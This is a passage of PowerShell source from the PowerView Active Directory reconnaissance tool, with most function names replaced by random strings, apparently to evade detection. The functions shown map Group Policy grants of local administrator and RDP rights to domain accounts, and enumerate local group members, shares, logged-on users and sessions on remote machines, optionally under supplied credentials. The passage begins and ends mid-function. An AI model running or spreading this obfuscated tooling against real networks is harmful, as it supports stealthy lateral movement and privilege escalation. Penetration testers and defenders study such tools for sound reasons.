[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name')] | |
[String] | |
$Identity, | |
[String] | |
[ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] | |
$LocalGroup = 'Administrators', | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$CommonArguments = @{} | |
if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } | |
} | |
PROCESS { | |
$TargetSIDs = @() | |
if ($PSBoundParameters['Identity']) { | |
$TargetSIDs += H86VA398 @CommonArguments -Identity $Identity | Select-Object -Expand objectsid | |
$TargetObjectSID = $TargetSIDs | |
if (-not $TargetSIDs) { | |
Throw "[D8RPVYWGUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'" | |
} | |
} | |
else { | |
$TargetSIDs = @('*') | |
} | |
if ($LocalGroup -match 'S-1-5') { | |
$TargetLocalSID = $LocalGroup | |
} | |
elseif ($LocalGroup -match 'Admin') { | |
$TargetLocalSID = 'S-1-5-32-544' | |
} | |
else { | |
$TargetLocalSID = 'S-1-5-32-555' | |
} | |
if ($TargetSIDs[0] -ne '*') { | |
ForEach ($TargetSid in $TargetSids) { | |
Write-Verbose "[D8RPVYWGUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'" | |
$TargetSIDs += MPOE9M0D @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid | |
} | |
} | |
Write-Verbose "[D8RPVYWGUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID" | |
Write-Verbose "[D8RPVYWGUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs" | |
$GPOgroups = D8RPVYWGLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object { | |
$GPOgroup = $_ | |
if ($GPOgroup.GroupSID -match $TargetLocalSID) { | |
$GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { | |
if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { | |
$GPOgroup | |
} | |
} | |
} | |
if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { | |
if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { | |
$GPOgroup | |
} | |
} | |
} | Sort-Object -Property GPOName -Unique | |
$GPOgroups | Where-Object {$_} | ForEach-Object { | |
$GPOname = $_.GPODisplayName | |
$GPOguid = $_.GPOName | |
$GPOPath = $_.GPOPath | |
$GPOType = $_.GPOType | |
if ($_.GroupMembers) { | |
$GPOMembers = $_.GroupMembers | |
} | |
else { | |
$GPOMembers = $_.GroupSID | |
} | |
$Filters = $_.Filters | |
if ($TargetSIDs[0] -eq '*') { | |
$TargetObjectSIDs = $GPOMembers | |
} | |
else { | |
$TargetObjectSIDs = $TargetObjectSID | |
} | |
5LD7ZSFI @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object { | |
if ($Filters) { | |
$OUComputers = 7M60VMOB @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname | |
} | |
else { | |
$OUComputers = 7M60VMOB @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname | |
} | |
if ($OUComputers) { | |
if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} | |
ForEach ($TargetSid in $TargetObjectSIDs) { | |
$Object = H86VA398 @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' | |
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype | |
$GPOLocalGroupMapping = New-Object PSObject | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers | |
$GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping') | |
$GPOLocalGroupMapping | |
} | |
} | |
} | |
4WHR88R3 @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object { | |
ForEach ($TargetSid in $TargetObjectSIDs) { | |
$Object = H86VA398 @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' | |
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype | |
$GPOLocalGroupMapping = New-Object PSObject | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname | |
$GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl | |
$GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping') | |
$GPOLocalGroupMapping | |
} | |
} | |
} | |
} | |
} | |
function D8RPVYWGComputerLocalGroupMapping { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.GGPOComputerLocalGroupMember')] | |
[CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')] | |
Param( | |
[Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')] | |
[String] | |
$ComputerIdentity, | |
[Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')] | |
[Alias('OU')] | |
[String] | |
$OUIdentity, | |
[String] | |
[ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] | |
$LocalGroup = 'Administrators', | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$CommonArguments = @{} | |
if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } | |
} | |
PROCESS { | |
if ($PSBoundParameters['ComputerIdentity']) { | |
$Computers = 7M60VMOB @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname' | |
if (-not $Computers) { | |
throw "[D8RPVYWGComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name." | |
} | |
ForEach ($Computer in $Computers) { | |
$GPOGuids = @() | |
$DN = $Computer.distinguishedname | |
$OUIndex = $DN.IndexOf('OU=') | |
if ($OUIndex -gt 0) { | |
$OUName = $DN.SubString($OUIndex) | |
} | |
if ($OUName) { | |
$GPOGuids += 5LD7ZSFI @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object { | |
Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } | |
} | |
} | |
Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)" | |
$ComputerSite = (THXCYPQU -ComputerName $Computer.dnshostname).SiteName | |
if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) { | |
$GPOGuids += 4WHR88R3 @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object { | |
Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } | |
} | |
} | |
$GPOGuids | D8RPVYWGLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object { | |
$GPOGroup = $_ | |
if($GPOGroup.GroupMembers) { | |
$GPOMembers = $GPOGroup.GroupMembers | |
} | |
else { | |
$GPOMembers = $GPOGroup.GroupSID | |
} | |
$GPOMembers | ForEach-Object { | |
$Object = H86VA398 @CommonArguments -Identity $_ | |
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype | |
$GPOComputerLocalGroupMember = New-Object PSObject | |
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname | |
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname | |
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname | |
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_ | |
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup | |
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName | |
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName | |
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath | |
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType | |
$GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember') | |
$GPOComputerLocalGroupMember | |
} | |
} | |
} | |
} | |
} | |
} | |
function VMIK0TZ8 { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType([Hashtable])] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('Source', 'Name')] | |
[String] | |
$Policy = 'Domain', | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$SearcherArguments = @{} | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$ConvertArguments = @{} | |
if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } | |
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } | |
} | |
PROCESS { | |
if ($PSBoundParameters['Domain']) { | |
$SearcherArguments['Domain'] = $Domain | |
$ConvertArguments['Domain'] = $Domain | |
} | |
if ($Policy -eq 'All') { | |
$SearcherArguments['Identity'] = '*' | |
} | |
elseif ($Policy -eq 'Domain') { | |
$SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}' | |
} | |
elseif (($Policy -eq 'DomainController') -or ($Policy -eq 'DC')) { | |
$SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}' | |
} | |
else { | |
$SearcherArguments['Identity'] = $Policy | |
} | |
$GPOResults = D8RPVYWG @SearcherArguments | |
ForEach ($GPO in $GPOResults) { | |
$GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" | |
$ParseArgs = @{ | |
'GptTmplPath' = $GptTmplPath | |
'OutputObject' = $True | |
} | |
if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } | |
YD9B46YY @ParseArgs | ForEach-Object { | |
$_ | Add-Member Noteproperty 'GPOName' $GPO.name | |
$_ | Add-Member Noteproperty 'GPODisplayName' $GPO.displayname | |
$_ | |
} | |
} | |
} | |
} | |
function 16G5SDMD { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.LocalGroup.API')] | |
[OutputType('PowerView.LocalGroup.WinNT')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName = $Env:COMPUTERNAME, | |
[ValidateSet('API', 'WinNT')] | |
[Alias('CollectionMethod')] | |
[String] | |
$Method = 'API', | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
if ($PSBoundParameters['Credential']) { | |
$LogonToken = N00NHJ8I -Credential $Credential | |
} | |
} | |
PROCESS { | |
ForEach ($Computer in $ComputerName) { | |
if ($Method -eq 'API') { | |
$QueryLevel = 1 | |
$PtrInfo = [IntPtr]::Zero | |
$EntriesRead = 0 | |
$TotalRead = 0 | |
$ResumeHandle = 0 | |
$Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) | |
$Offset = $PtrInfo.ToInt64() | |
if (($Result -eq 0) -and ($Offset -gt 0)) { | |
$Increment = $LOCALGROUP_INFO_1::GetSize() | |
for ($i = 0; ($i -lt $EntriesRead); $i++) { | |
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset | |
$Info = $NewIntPtr -as $LOCALGROUP_INFO_1 | |
$Offset = $NewIntPtr.ToInt64() | |
$Offset += $Increment | |
$LocalGroup = New-Object PSObject | |
$LocalGroup | Add-Member Noteproperty 'ComputerName' $Computer | |
$LocalGroup | Add-Member Noteproperty 'GroupName' $Info.lgrpi1_name | |
$LocalGroup | Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment | |
$LocalGroup.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.API') | |
$LocalGroup | |
} | |
$Null = $Netapi32::NetApiBufferFree($PtrInfo) | |
} | |
else { | |
Write-Verbose "[16G5SDMD] Error: $(([ComponentModel.Win32Exception] $Result).Message)" | |
} | |
} | |
else { | |
$ComputerProvider = [ADSI]"WinNT://$Computer,computer" | |
$ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { | |
$LocalGroup = ([ADSI]$_) | |
$Group = New-Object PSObject | |
$Group | Add-Member Noteproperty 'ComputerName' $Computer | |
$Group | Add-Member Noteproperty 'GroupName' ($LocalGroup.InvokeGet('Name')) | |
$Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalGroup.InvokeGet('objectsid'),0)).Value) | |
$Group | Add-Member Noteproperty 'Comment' ($LocalGroup.InvokeGet('Description')) | |
$Group.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.WinNT') | |
$Group | |
} | |
} | |
} | |
} | |
END { | |
if ($LogonToken) { | |
ZPJ0WOMD -TokenHandle $LogonToken | |
} | |
} | |
} | |
function 16G5SDMDMember { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.LocalGroupMember.API')] | |
[OutputType('PowerView.LocalGroupMember.WinNT')] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName = $Env:COMPUTERNAME, | |
[Parameter(ValueFromPipelineByPropertyName = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$GroupName = 'Administrators', | |
[ValidateSet('API', 'WinNT')] | |
[Alias('CollectionMethod')] | |
[String] | |
$Method = 'API', | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
if ($PSBoundParameters['Credential']) { | |
$LogonToken = N00NHJ8I -Credential $Credential | |
} | |
} | |
PROCESS { | |
ForEach ($Computer in $ComputerName) { | |
if ($Method -eq 'API') { | |
$QueryLevel = 2 | |
$PtrInfo = [IntPtr]::Zero | |
$EntriesRead = 0 | |
$TotalRead = 0 | |
$ResumeHandle = 0 | |
$Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) | |
$Offset = $PtrInfo.ToInt64() | |
$Members = @() | |
if (($Result -eq 0) -and ($Offset -gt 0)) { | |
$Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() | |
for ($i = 0; ($i -lt $EntriesRead); $i++) { | |
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset | |
$Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 | |
$Offset = $NewIntPtr.ToInt64() | |
$Offset += $Increment | |
$SidString = '' | |
$Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if ($Result2 -eq 0) { | |
Write-Verbose "[16G5SDMDMember] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" | |
} | |
else { | |
$Member = New-Object PSObject | |
$Member | Add-Member Noteproperty 'ComputerName' $Computer | |
$Member | Add-Member Noteproperty 'GroupName' $GroupName | |
$Member | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname | |
$Member | Add-Member Noteproperty 'SID' $SidString | |
$IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') | |
$Member | Add-Member Noteproperty 'IsGroup' $IsGroup | |
$Member.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroupMember.API') | |
$Members += $Member | |
} | |
} | |
$Null = $Netapi32::NetApiBufferFree($PtrInfo) | |
$MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -or ($_.SID -match '.*-501')} | Select-Object -Expand SID | |
if ($MachineSid) { | |
$MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-')) | |
$Members | ForEach-Object { | |
if ($_.SID -match $MachineSid) { | |
$_ | Add-Member Noteproperty 'IsDomain' $False | |
} | |
else { | |
$_ | Add-Member Noteproperty 'IsDomain' $True | |
} | |
} | |
} | |
else { | |
$Members | ForEach-Object { | |
if ($_.SID -notmatch 'S-1-5-21') { | |
$_ | Add-Member Noteproperty 'IsDomain' $False | |
} | |
else { | |
$_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN' | |
} | |
} | |
} | |
$Members | |
} | |
else { | |
Write-Verbose "[16G5SDMDMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)" | |
} | |
} | |
else { | |
try { | |
$GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group" | |
$GroupProvider.psbase.Invoke('Members') | ForEach-Object { | |
$Member = New-Object PSObject | |
$Member | Add-Member Noteproperty 'ComputerName' $Computer | |
$Member | Add-Member Noteproperty 'GroupName' $GroupName | |
$LocalUser = ([ADSI]$_) | |
$AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '') | |
$IsGroup = ($LocalUser.SchemaClassName -like 'group') | |
if(([regex]::Matches($AdsPath, '/')).count -eq 1) { | |
$MemberIsDomain = $True | |
$Name = $AdsPath.Replace('/', '\') | |
} | |
else { | |
$MemberIsDomain = $False | |
$Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\') | |
} | |
$Member | Add-Member Noteproperty 'AccountName' $Name | |
$Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) | |
$Member | Add-Member Noteproperty 'IsGroup' $IsGroup | |
$Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain | |
$Member | |
} | |
} | |
catch { | |
Write-Verbose "[16G5SDMDMember] Error for $Computer : $_" | |
} | |
} | |
} | |
} | |
END { | |
if ($LogonToken) { | |
ZPJ0WOMD -TokenHandle $LogonToken | |
} | |
} | |
} | |
function WRUUL8VB { | |
[OutputType('PowerView.ShareInfo')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName = 'localhost', | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
if ($PSBoundParameters['Credential']) { | |
$LogonToken = N00NHJ8I -Credential $Credential | |
} | |
} | |
PROCESS { | |
ForEach ($Computer in $ComputerName) { | |
$QueryLevel = 1 | |
$PtrInfo = [IntPtr]::Zero | |
$EntriesRead = 0 | |
$TotalRead = 0 | |
$ResumeHandle = 0 | |
$Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) | |
$Offset = $PtrInfo.ToInt64() | |
if (($Result -eq 0) -and ($Offset -gt 0)) { | |
$Increment = $SHARE_INFO_1::GetSize() | |
for ($i = 0; ($i -lt $EntriesRead); $i++) { | |
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset | |
$Info = $NewIntPtr -as $SHARE_INFO_1 | |
$Share = $Info | Select-Object * | |
$Share | Add-Member Noteproperty 'ComputerName' $Computer | |
$Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo') | |
$Offset = $NewIntPtr.ToInt64() | |
$Offset += $Increment | |
$Share | |
} | |
$Null = $Netapi32::NetApiBufferFree($PtrInfo) | |
} | |
else { | |
Write-Verbose "[WRUUL8VB] Error: $(([ComponentModel.Win32Exception] $Result).Message)" | |
} | |
} | |
} | |
END { | |
if ($LogonToken) { | |
ZPJ0WOMD -TokenHandle $LogonToken | |
} | |
} | |
} | |
function WC82VV2X { | |
[OutputType('PowerView.LoggedOnUserInfo')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName = 'localhost', | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
if ($PSBoundParameters['Credential']) { | |
$LogonToken = N00NHJ8I -Credential $Credential | |
} | |
} | |
PROCESS { | |
ForEach ($Computer in $ComputerName) { | |
$QueryLevel = 1 | |
$PtrInfo = [IntPtr]::Zero | |
$EntriesRead = 0 | |
$TotalRead = 0 | |
$ResumeHandle = 0 | |
$Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) | |
$Offset = $PtrInfo.ToInt64() | |
if (($Result -eq 0) -and ($Offset -gt 0)) { | |
$Increment = $WKSTA_USER_INFO_1::GetSize() | |
for ($i = 0; ($i -lt $EntriesRead); $i++) { | |
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset | |
$Info = $NewIntPtr -as $WKSTA_USER_INFO_1 | |
$LoggedOn = $Info | Select-Object * | |
$LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer | |
$LoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LoggedOnUserInfo') | |
$Offset = $NewIntPtr.ToInt64() | |
$Offset += $Increment | |
$LoggedOn | |
} | |
$Null = $Netapi32::NetApiBufferFree($PtrInfo) | |
} | |
else { | |
Write-Verbose "[WC82VV2X] Error: $(([ComponentModel.Win32Exception] $Result).Message)" | |
} | |
} | |
} | |
END { | |
if ($LogonToken) { | |
ZPJ0WOMD -TokenHandle $LogonToken | |
} | |
} | |
} | |
function 5X1NU06Z { | |
[OutputType('PowerView.SessionInfo')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName = 'localhost', | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
if ($PSBoundParameters['Credential']) { | |
$LogonToken = N00NHJ8I -Credential $Credential | |
} | |
} | |
PROCESS { | |
ForEach ($Computer in $ComputerName) { | |
$QueryLevel = 10 | |
$PtrInfo = [IntPtr]::Zero | |
$EntriesRead = 0 | |
$TotalRead = 0 | |
$ResumeHandle = 0 | |
$Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) | |
$Offset = $PtrInfo.ToInt64() | |
if (($Result -eq 0) -and ($Offset -gt 0)) { | |
$Increment = $SESSION_INFO_10::GetSize() | |
for ($i = 0; ($i -lt $EntriesRead); $i++) { | |
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset | |
$Info = $NewIntPtr -as $SESSION_INFO_10 | |
$Session = $Info | Select-Object * | |
$Session | Add-Member Noteproperty 'ComputerName' $Computer | |
$Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo') | |
$Offset = $NewIntPtr.ToInt64() | |
$Offset += $Increment | |
$Session | |
} | |
$Null = $Netapi32::NetApiBufferFree($PtrInfo) | |
} | |
else { | |
Write-Verbose "[5X1NU06Z] Error: $(([ComponentModel.Win32Exception] $Result).Message)" | |
} | |
} | |
} | |
END { | |
if ($LogonToken) { | |
ZPJ0WOMD -TokenHandle $LogonToken | |
} | |
} | |
} | |
function G33P5TU0 { | |
